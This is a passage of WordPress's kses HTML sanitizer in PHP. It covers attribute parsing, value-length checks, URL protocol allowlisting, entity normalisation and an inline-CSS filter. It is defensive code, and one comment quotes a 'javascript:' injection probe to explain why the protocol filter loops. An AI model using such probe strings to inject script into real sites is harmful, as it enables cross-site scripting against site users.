    $attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n');
    }
    $working = 1;
    $mode = 0;
    $attr = preg_replace('/^"[^"]*"(\s+|$)/', '', $attr);
    break;
    }

    if (preg_match("%^'([^']*)'(\s+|/?$)%", $attr, $match))
    # 'value'
    {
    $thisval = $match[1];
    if ( in_array(strtolower($attrname), $uris) )
    $thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);

    if(FALSE === array_key_exists($attrname, $attrarr)) {
    $attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname='$thisval'", 'vless' => 'n');
    }
    $working = 1;
    $mode = 0;
    $attr = preg_replace("/^'[^']*'(\s+|$)/", '', $attr);
    break;
    }

    if (preg_match("%^([^\s\"']+)(\s+|/?$)%", $attr, $match))
    # value
    {
    $thisval = $match[1];
    if ( in_array(strtolower($attrname), $uris) )
    $thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);

    if(FALSE === array_key_exists($attrname, $attrarr)) {
    $attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n');
    }
    # We add quotes to conform to W3C's HTML spec.
    $working = 1;
    $mode = 0;
    $attr = preg_replace("%^[^\s\"']+(\s+|$)%", '', $attr);
    }

    break;
    } # switch

    if ($working == 0) # not well formed, remove and try again
    {
    $attr = wp_kses_html_error($attr);
    $mode = 0;
    }
    } # while

    if ($mode == 1 && FALSE === array_key_exists($attrname, $attrarr))
    # special case, for when the attribute list ends with a valueless
    # attribute like "selected"
    $attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y');

    return $attrarr;
    }

    /**
    * Performs different checks for attribute values.
    *
    * The currently implemented checks are "maxlen", "minlen", "maxval", "minval"
    * and "valueless".
    *
    * @since 1.0.0
    *
    * @param string $value Attribute value
    * @param string $vless Whether the value is valueless. Use 'y' or 'n'
    * @param string $checkname What $checkvalue is checking for.
    * @param mixed $checkvalue What constraint the value should pass
    * @return bool Whether check passes
    */
    function wp_kses_check_attr_val($value, $vless, $checkname, $checkvalue) {
    $ok = true;

    switch (strtolower($checkname)) {
    case 'maxlen' :
    # The maxlen check makes sure that the attribute value has a length not
    # greater than the given value. This can be used to avoid Buffer Overflows
    # in WWW clients and various Internet servers.

    if (strlen($value) > $checkvalue)
    $ok = false;
    break;

    case 'minlen' :
    # The minlen check makes sure that the attribute value has a length not
    # smaller than the given value.

    if (strlen($value) < $checkvalue)
    $ok = false;
    break;

    case 'maxval' :
    # The maxval check does two things: it checks that the attribute value is
    # an integer from 0 and up, without an excessive amount of zeroes or
    # whitespace (to avoid Buffer Overflows). It also checks that the attribute
    # value is not greater than the given value.
    # This check can be used to avoid Denial of Service attacks.

    if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value))
    $ok = false;
    if ($value > $checkvalue)
    $ok = false;
    break;

    case 'minval' :
    # The minval check makes sure that the attribute value is a positive integer,
    # and that it is not smaller than the given value.

    if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value))
    $ok = false;
    if ($value < $checkvalue)
    $ok = false;
    break;

    case 'valueless' :
    # The valueless check makes sure if the attribute has a value
    # (like <a href="blah">) or not (<option selected>). If the given value
    # is a "y" or a "Y", the attribute must not have a value.
    # If the given value is an "n" or an "N", the attribute must have one.

    if (strtolower($checkvalue) != $vless)
    $ok = false;
    break;
    } # switch

    return $ok;
    }

    /**
    * Sanitize string from bad protocols.
    *
    * This function removes all non-allowed protocols from the beginning of
    * $string. It ignores whitespace and the case of the letters, and it does
    * understand HTML entities. It does its work in a while loop, so it won't be
    * fooled by a string like "javascript:javascript:alert(57)".
    *
    * @since 1.0.0
    *
    * @param string $string Content to filter bad protocols from
    * @param array $allowed_protocols Allowed protocols to keep
    * @return string Filtered content
    */
    function wp_kses_bad_protocol($string, $allowed_protocols) {
    $string = wp_kses_no_null($string);
    $iterations = 0;

    do {
    $original_string = $string;
    $string = wp_kses_bad_protocol_once($string, $allowed_protocols);
    } while ( $original_string != $string && ++$iterations < 6 );

    if ( $original_string != $string )
    return '';

    return $string;
    }

    /**
    * Removes any NULL characters in $string.
    *
    * @since 1.0.0
    *
    * @param string $string
    * @return string
    */
    function wp_kses_no_null($string) {
    $string = preg_replace('/\0+/', '', $string);
    $string = preg_replace('/(\\\\0)+/', '', $string);

    return $string;
    }

    /**
    * Strips slashes from in front of quotes.
    *
    * This function changes the character sequence \" to just ". It leaves all
    * other slashes alone. It's really weird, but the quoting from
    * preg_replace(//e) seems to require this.
    *
    * @since 1.0.0
    *
    * @param string $string String to strip slashes
    * @return string Fixed string with quoted slashes
    */
    function wp_kses_stripslashes($string) {
    return preg_replace('%\\\\"%', '"', $string);
    }

    /**
    * Goes through an array and changes the keys to all lower case.
    *
    * @since 1.0.0
    *
    * @param array $inarray Unfiltered array
    * @return array Fixed array with all lowercase keys
    */
    function wp_kses_array_lc($inarray) {
    $outarray = array ();

    foreach ( (array) $inarray as $inkey => $inval) {
    $outkey = strtolower($inkey);
    $outarray[$outkey] = array ();

    foreach ( (array) $inval as $inkey2 => $inval2) {
    $outkey2 = strtolower($inkey2);
    $outarray[$outkey][$outkey2] = $inval2;
    } # foreach $inval
    } # foreach $inarray

    return $outarray;
    }

    /**
    * Removes the HTML JavaScript entities found in early versions of Netscape 4.
    *
    * @since 1.0.0
    *
    * @param string $string
    * @return string
    */
    function wp_kses_js_entities($string) {
    return preg_replace('%&\s*\{[^}]*(\}\s*;?|$)%', '', $string);
    }

    /**
    * Handles parsing errors in wp_kses_hair().
    *
    * The general plan is to remove everything to and including some whitespace,
    * but it deals with quotes and apostrophes as well.
    *
    * @since 1.0.0
    *
    * @param string $string
    * @return string
    */
    function wp_kses_html_error($string) {
    return preg_replace('/^("[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*/', '', $string);
    }

    /**
    * Sanitizes content from bad protocols and other characters.
    *
    * This function searches for URL protocols at the beginning of $string, while
    * handling whitespace and HTML entities.
    *
    * @since 1.0.0
    *
    * @param string $string Content to check for bad protocols
    * @param string $allowed_protocols Allowed protocols
    * @return string Sanitized content
    */
    function wp_kses_bad_protocol_once($string, $allowed_protocols, $count = 1 ) {
    $string2 = preg_split( '/:|&#0*58;|&#x0*3a;/i', $string, 2 );
    if ( isset($string2[1]) && ! preg_match('%/\?%', $string2[0]) ) {
    $string = trim( $string2[1] );
    $protocol = wp_kses_bad_protocol_once2( $string2[0], $allowed_protocols );
    if ( 'feed:' == $protocol ) {
    if ( $count > 2 )
    return '';
    $string = wp_kses_bad_protocol_once( $string, $allowed_protocols, ++$count );
    if ( empty( $string ) )
    return $string;
    }
    $string = $protocol . $string;
    }

    return $string;
    }

    /**
    * Callback for wp_kses_bad_protocol_once() regular expression.
    *
    * This function processes URL protocols, checks to see if they're in the
    * whitelist or not, and returns different data depending on the answer.
    *
    * @access private
    * @since 1.0.0
    *
    * @param string $string URI scheme to check against the whitelist
    * @param string $allowed_protocols Allowed protocols
    * @return string Sanitized content
    */
    function wp_kses_bad_protocol_once2( $string, $allowed_protocols ) {
    $string2 = wp_kses_decode_entities($string);
    $string2 = preg_replace('/\s/', '', $string2);
    $string2 = wp_kses_no_null($string2);
    $string2 = strtolower($string2);

    $allowed = false;
    foreach ( (array) $allowed_protocols as $one_protocol )
    if ( strtolower($one_protocol) == $string2 ) {
    $allowed = true;
    break;
    }

    if ($allowed)
    return "$string2:";
    else
    return '';
    }

    /**
    * Converts and fixes HTML entities.
    *
    * This function normalizes HTML entities. It will convert "AT&T" to the correct
    * "AT&amp;T", "&#00058;" to "&#58;", "&#XYZZY;" to "&amp;#XYZZY;" and so on.
    *
    * @since 1.0.0
    *
    * @param string $string Content to normalize entities
    * @return string Content with normalized entities
    */
    function wp_kses_normalize_entities($string) {
    # Disarm all entities by converting & to &amp;

    $string = str_replace('&', '&amp;', $string);

    # Change back the allowed entities in our entity whitelist

    $string = preg_replace_callback('/&amp;([A-Za-z]{2,8});/', 'wp_kses_named_entities', $string);
    $string = preg_replace_callback('/&amp;#(0*[0-9]{1,7});/', 'wp_kses_normalize_entities2', $string);
    $string = preg_replace_callback('/&amp;#[Xx](0*[0-9A-Fa-f]{1,6});/', 'wp_kses_normalize_entities3', $string);

    return $string;
    }

    /**
    * Callback for wp_kses_normalize_entities() regular expression.
    *
    * This function only accepts valid named entity references, which are finite,
    * case-sensitive, and highly scrutinized by HTML and XML validators.
    *
    * @since 3.0.0
    *
    * @param array $matches preg_replace_callback() matches array
    * @return string Correctly encoded entity
    */
    function wp_kses_named_entities($matches) {
    global $allowedentitynames;

    if ( empty($matches[1]) )
    return '';

    $i = $matches[1];
    return ( ( ! in_array($i, $allowedentitynames) ) ? "&amp;$i;" : "&$i;" );
    }

    /**
    * Callback for wp_kses_normalize_entities() regular expression.
    *
    * This function helps wp_kses_normalize_entities() to only accept 16-bit values
    * and nothing more for &#number; entities.
    *
    * @access private
    * @since 1.0.0
    *
    * @param array $matches preg_replace_callback() matches array
    * @return string Correctly encoded entity
    */
    function wp_kses_normalize_entities2($matches) {
    if ( empty($matches[1]) )
    return '';

    $i = $matches[1];
    if (valid_unicode($i)) {
    $i = str_pad(ltrim($i,'0'), 3, '0', STR_PAD_LEFT);
    $i = "&#$i;";
    } else {
    $i = "&amp;#$i;";
    }

    return $i;
    }

    /**
    * Callback for wp_kses_normalize_entities() for regular expression.
    *
    * This function helps wp_kses_normalize_entities() to only accept valid Unicode
    * numeric entities in hex form.
    *
    * @access private
    *
    * @param array $matches preg_replace_callback() matches array
    * @return string Correctly encoded entity
    */
    function wp_kses_normalize_entities3($matches) {
    if ( empty($matches[1]) )
    return '';

    $hexchars = $matches[1];
    return ( ( ! valid_unicode(hexdec($hexchars)) ) ? "&amp;#x$hexchars;" : '&#x'.ltrim($hexchars,'0').';' );
    }

    /**
    * Helper function to determine if a Unicode value is valid.
    *
    * @param int $i Unicode value
    * @return bool True if the value was a valid Unicode number
    */
    function valid_unicode($i) {
    return ( $i == 0x9 || $i == 0xa || $i == 0xd ||
    ($i >= 0x20 && $i <= 0xd7ff) ||
    ($i >= 0xe000 && $i <= 0xfffd) ||
    ($i >= 0x10000 && $i <= 0x10ffff) );
    }

    /**
    * Convert all entities to their character counterparts.
    *
    * This function decodes numeric HTML entities (&#65; and &#x41;). It doesn't do
    * anything with other entities like &auml;, but we don't need them in the URL
    * protocol whitelisting system anyway.
    *
    * @since 1.0.0
    *
    * @param string $string Content to change entities
    * @return string Content after decoded entities
    */
    function wp_kses_decode_entities($string) {
    $string = preg_replace_callback('/&#([0-9]+);/', '_wp_kses_decode_entities_chr', $string);
    $string = preg_replace_callback('/&#[Xx]([0-9A-Fa-f]+);/', '_wp_kses_decode_entities_chr_hexdec', $string);

    return $string;
    }

    /**
    * Regex callback for wp_kses_decode_entities()
    *
    * @param array $match preg match
    * @return string
    */
    function _wp_kses_decode_entities_chr( $match ) {
    return chr( $match[1] );
    }

    /**
    * Regex callback for wp_kses_decode_entities()
    *
    * @param array $match preg match
    * @return string
    */
    function _wp_kses_decode_entities_chr_hexdec( $match ) {
    return chr( hexdec( $match[1] ) );
    }

    /**
    * Sanitize content with allowed HTML Kses rules.
    *
    * @since 1.0.0
    * @uses $allowedtags
    *
    * @param string $data Content to filter, expected to be escaped with slashes
    * @return string Filtered content
    */
    function wp_filter_kses($data) {
    global $allowedtags;
    return addslashes( wp_kses(stripslashes( $data ), $allowedtags) );
    }

    /**
    * Sanitize content with allowed HTML Kses rules.
    *
    * @since 2.9.0
    * @uses $allowedtags
    *
    * @param string $data Content to filter, expected to not be escaped
    * @return string Filtered content
    */
    function wp_kses_data($data) {
    global $allowedtags;
    return wp_kses( $data , $allowedtags );
    }

    /**
    * Sanitize content for allowed HTML tags for post content.
    *
    * Post content refers to the page contents of the 'post' type and not $_POST
    * data from forms.
    *
    * @since 2.0.0
    * @uses $allowedposttags
    *
    * @param string $data Post content to filter, expected to be escaped with slashes
    * @return string Filtered post content with allowed HTML tags and attributes intact.
    */
    function wp_filter_post_kses($data) {
    global $allowedposttags;
    return addslashes ( wp_kses(stripslashes( $data ), $allowedposttags) );
    }

    /**
    * Sanitize content for allowed HTML tags for post content.
    *
    * Post content refers to the page contents of the 'post' type and not $_POST
    * data from forms.
    *
    * @since 2.9.0
    * @uses $allowedposttags
    *
    * @param string $data Post content to filter
    * @return string Filtered post content with allowed HTML tags and attributes intact.
    */
    function wp_kses_post($data) {
    global $allowedposttags;
    return wp_kses( $data , $allowedposttags );
    }

    /**
    * Strips all of the HTML in the content.
    *
    * @since 2.1.0
    *
    * @param string $data Content to strip all HTML from
    * @return string Filtered content without any HTML
    */
    function wp_filter_nohtml_kses($data) {
    return addslashes ( wp_kses(stripslashes( $data ), array()) );
    }

    /**
    * Adds all Kses input form content filters.
    *
    * All hooks have default priority. The wp_filter_kses() function is added to
    * the 'pre_comment_content' and 'title_save_pre' hooks.
    *
    * The wp_filter_post_kses() function is added to the 'content_save_pre',
    * 'excerpt_save_pre', and 'content_filtered_save_pre' hooks.
    *
    * @since 2.0.0
    * @uses add_filter() See description for what functions are added to what hooks.
    */
    function kses_init_filters() {
    // Normal filtering.
    add_filter('pre_comment_content', 'wp_filter_kses');
    add_filter('title_save_pre', 'wp_filter_kses');

    // Post filtering
    add_filter('content_save_pre', 'wp_filter_post_kses');
    add_filter('excerpt_save_pre', 'wp_filter_post_kses');
    add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
    }

    /**
    * Removes all Kses input form content filters.
    *
    * A quick procedural method to removing all of the filters that kses uses for
    * content in WordPress Loop.
    *
    * Does not remove the kses_init() function from 'init' hook (priority is
    * default). Also does not remove kses_init() function from 'set_current_user'
    * hook (priority is also default).
    *
    * @since 2.0.6
    */
    function kses_remove_filters() {
    // Normal filtering.
    remove_filter('pre_comment_content', 'wp_filter_kses');
    remove_filter('title_save_pre', 'wp_filter_kses');

    // Post filtering
    remove_filter('content_save_pre', 'wp_filter_post_kses');
    remove_filter('excerpt_save_pre', 'wp_filter_post_kses');
    remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
    }

    /**
    * Sets up most of the Kses filters for input form content.
    *
    * If you remove the kses_init() function from 'init' hook and
    * 'set_current_user' (priority is default), then none of the Kses filter hooks
    * will be added.
    *
    * First removes all of the Kses filters in case the current user does not need
    * to have Kses filter the content. If the user does not have unfiltered_html
    * capability, then Kses filters are added.
    *
    * @uses kses_remove_filters() Removes the Kses filters
    * @uses kses_init_filters() Adds the Kses filters back if the user
    * does not have unfiltered HTML capability.
    * @since 2.0.0
    */
    function kses_init() {
    kses_remove_filters();

    if (current_user_can('unfiltered_html') == false)
    kses_init_filters();
    }

    add_action('init', 'kses_init');
    add_action('set_current_user', 'kses_init');

    /**
    * Inline CSS filter
    *
    * @since 2.8.1
    */
    function safecss_filter_attr( $css, $deprecated = '' ) {
    if ( !empty( $deprecated ) )
    _deprecated_argument( __FUNCTION__, '2.8.1' ); // Never implemented

    $css = wp_kses_no_null($css);
    $css = str_replace(array("\n","\r","\t"), '', $css);

    if ( preg_match( '%[\\(&=}]|/\*%', $css ) ) // remove any inline css containing \ ( & } = or comments
    return '';

    $css_array = explode( ';', trim( $css ) );
    $allowed_attr = apply_filters( 'safe_style_css', array( 'text-align', 'margin', 'color', 'float',
    'border', 'background', 'background-color', 'border-bottom', 'border-bottom-color',
    'border-bottom-style', 'border-bottom-width', 'border-collapse', 'border-color', 'border-left',
    'border-left-color', 'border-left-style', 'border-left-width', 'border-right', 'border-right-color',
    'border-right-style', 'border-right-width', 'border-spacing', 'border-style', 'border-top',
    'border-top-color', 'border-top-style', 'border-top-width', 'border-width', 'caption-side',
    'clear', 'cursor', 'direction', 'font', 'font-family', 'font-size', 'font-style',
    'font-variant', 'font-weight', 'height', 'letter-spacing', 'line-height', 'margin-bottom',
    'margin-left', 'margin-right', 'margin-top', 'overflow', 'padding', 'padding-bottom',
    'padding-left', 'padding-right', 'padding-top', 'text-decoration', 'text-indent', 'vertical-align',
    'width' ) );

    if ( empty($allowed_attr) )
    return $css;

    $css = '';
    foreach ( $css_array as $css_item ) {
    if ( $css_item == '' )
    continue;
    $css_item = trim( $css_item );
    $found = false;
    if ( strpos( $css_item, ':' ) === false ) {
    $found = true;
    } else {
    $parts = split( ':', $css_item );
    if ( in_array( trim( $parts[0] ), $allowed_attr ) )
    $found = true;
    }
    if ( $found ) {
    if( $css != '' )
    $css .= ';';
    $css .= $css_item;
    }
    }

    return $css;
    }